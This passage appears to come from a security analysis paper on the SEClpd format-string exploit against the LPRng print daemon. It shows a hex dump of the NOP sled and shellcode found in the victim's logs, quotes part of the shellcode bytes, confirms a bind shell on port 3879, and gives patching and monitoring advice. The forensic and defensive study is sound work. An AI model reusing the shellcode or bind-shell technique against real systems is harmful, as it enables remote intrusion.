0001240 220 220 220 220 220 220 220 220 220 220 220 220 220 1 U 1
9090 9090 9090 9090 9090 9090 3190 31db
0001260 É 1 A ° F Í 200 211 a 1 O 2 f 211 D 1
31c9 b0c0 cd46 8980 31e5 b2d2 8966 31d0

Notice that there is a number of consecutive characters with hex value 90. Each character represents a NOP operation, and together they represent the NOP sled I mentioned in a previous section. If we then look at the hex dump values of the characters immediately following the NOP sled, we will see that they coincide with the start of shellcode[] from the source code of SEClpd :

"\x 31 \x db \x 31 \x c9 \x 31 \x c0 \x b0 \x 46 \x cd \x 80 "
"\x 89 \x e5 \x 31 \xd2\xb2 \x 66 \x 89 \x d0 \ x31 \xc9\x89\xcb\x43\x89\x5d\xf8"

At first sight, the sequence of values from the hex dump does not appear to be in sync with the sequence of characters from the shellcode[] string, but we have to remember that the Intel processor stores values in little endian order, so that for example the sequence \xd2\xb2 from shellcode[] is stored in memory as b2d2 . We have thus proven that the format string captured in the system log on victim is indeed the format string sent by attacker via the SEClpd exploit.

I ran the following command to find out exactly how many such entries were logged by the victim server:

[root@victim]# grep Dispatch_input /var/log/messages | wc -l

No less than 680 lines were logged in the system log. This is indeed a very noisy exploit and it should be very easily detectable even with a minimal level of monitoring of system logs. A log monitoring tool that is free, very lightweight and easy to use is logcheck from Psionic Software, part of the Abacus project. It can be downloaded at .

To confirm that the interactive shell is bound to port 3879 on victim , I ran the netstat command on victim while the shell was still open on attacker :

[root@victim ]# netstat -an | grep 3879
netstat -an | grep 3879
tcp 42 0 CLOSE_WAIT
tcp 0 0* LISTEN

We see that there is a process listening on port 3879, as well as an active connection from the attacker's host (

After quitting the shell on attacker , the listener on port 3879 disappears as well and the output of netstat does not contain any lines that contain 3879:

[root@victim ]# netstat -an | grep 3879

How to protect against the attack

What companies can do to protect themselves

System administrators who are in charge of hosts running a vulnerable version of the LPRng print management software can take the following steps to protect their systems:

•  Apply vendor-supplied patches

•  a list of URLs grouped by vendor is provided in the "Additional information" section

•  for systems running Red Hat Linux, a very good way of staying abreast with the latest patches and security updates is to subscribe to the Red Hat Network service, available at

•  If print server functionality is not necessary, disable the lpd print server daemon

•  on Red Hat Linux systems, the following command can be used to disable the start-up of the lpd daemon at system initialization time:

chkconfig lpd off

•  If print functionality is not necessary, uninstall the LPRng package altogether

•  on systems running the rpm package manager, this can be accomplished with the command:

rpm -e LPRng

•  Block incoming traffic to the print server port 515 at the firewall or at the border router

•  note that this particular step does not protect the systems from malicious users inside the organization

More general steps that can be taken, not directly related to the specific LPRng exploit, are:

•  Deploy network-based intrusion systems such as snort ( )

•  Deploy host-based log monitoring systems such as logcheck ( ) and swatch ( )

•  Deploy host-based access-control systems such as portsentry ( ) and tcp _ wrappers ( )

What vendors can do to prevent this vulnerability

The most important protection measure in my opinion is for vendors and programmers to carefully audit the source code of the packages they offer for programming errors, especially errors that may result in format-string attacks. This approach is at least theoretically possible for Open Source software, although in practice the sheer amount of code comprising an average Linux distribution makes this task very difficult. In his paper ([6]), scut mentions two tools that can be used to automatically catch format string programming errors of the type I discussed in this paper:

•  PScan, available at

•  According to the PScan web page, this tool scans C source files for problematic uses of printf -style functions:

sprintf(buffer, variable); Bad! Possible security breach!
sprintf(buffer, "%s", variable); Ok

•  TESOgcc, which is supposed to be available at (this link was not working at the time I wrote this paper)


[1] Bouchareine, Pascal - "Format string vulnerability"

[2] Maclaughlin, L. III, Editor - RFC 1179, "Line Printer Daemon Protocol"

[3] Newsham, Tim - "Format string attacks"

[4] Powell, Patrick - LPRng HOWTO

[5] Raynal F., Blaess C., Grenier C. - " Avoiding security holes when developing an application - Part 4: format strings"

[6] scut / team teso - "Exploiting format string vulnerabilities"

[7] Thuemmel, Andreas - "Analysis of format string bugs"

Advisories and security bulletins related to the LPRng exploit

Initial report on Bugtraq mailing list by Chris Evans on Sept. 25, 2000

CERT Advisory CA-2000-22, "Input validation problems in LPRng"

CVE Entry CVE-2000-0917 Bugtraq ID 1712, " Multiple Vendor LPRng User-Supplied Format String Vulnerability"

CERT Vulnerability Note VU#382365, " LPRng can pass user-supplied input as a format string parameter to syslog() calls"

CIAC Information Bulletin L-025, "LPRng Format String Vulnerability"

Vendor advisories and updated LPRng software

Caldera Systems, Inc. Security Advisory CSSA-2000-033.0

FreeBSD Security Advisory FreeBSD-SA-00:56

Red Hat Security Advisory RHSA-2000:065-06

atest LPRng distribution

Links to exploit source code

SEClpd exploit

LPRng-3.6.24-1 exploit

Tools mentioned in this paper




Intrusion detection, log monitoring, access control






Automated format string vulnerability checking tools


TESOgcc (this link was not working at the time of writing)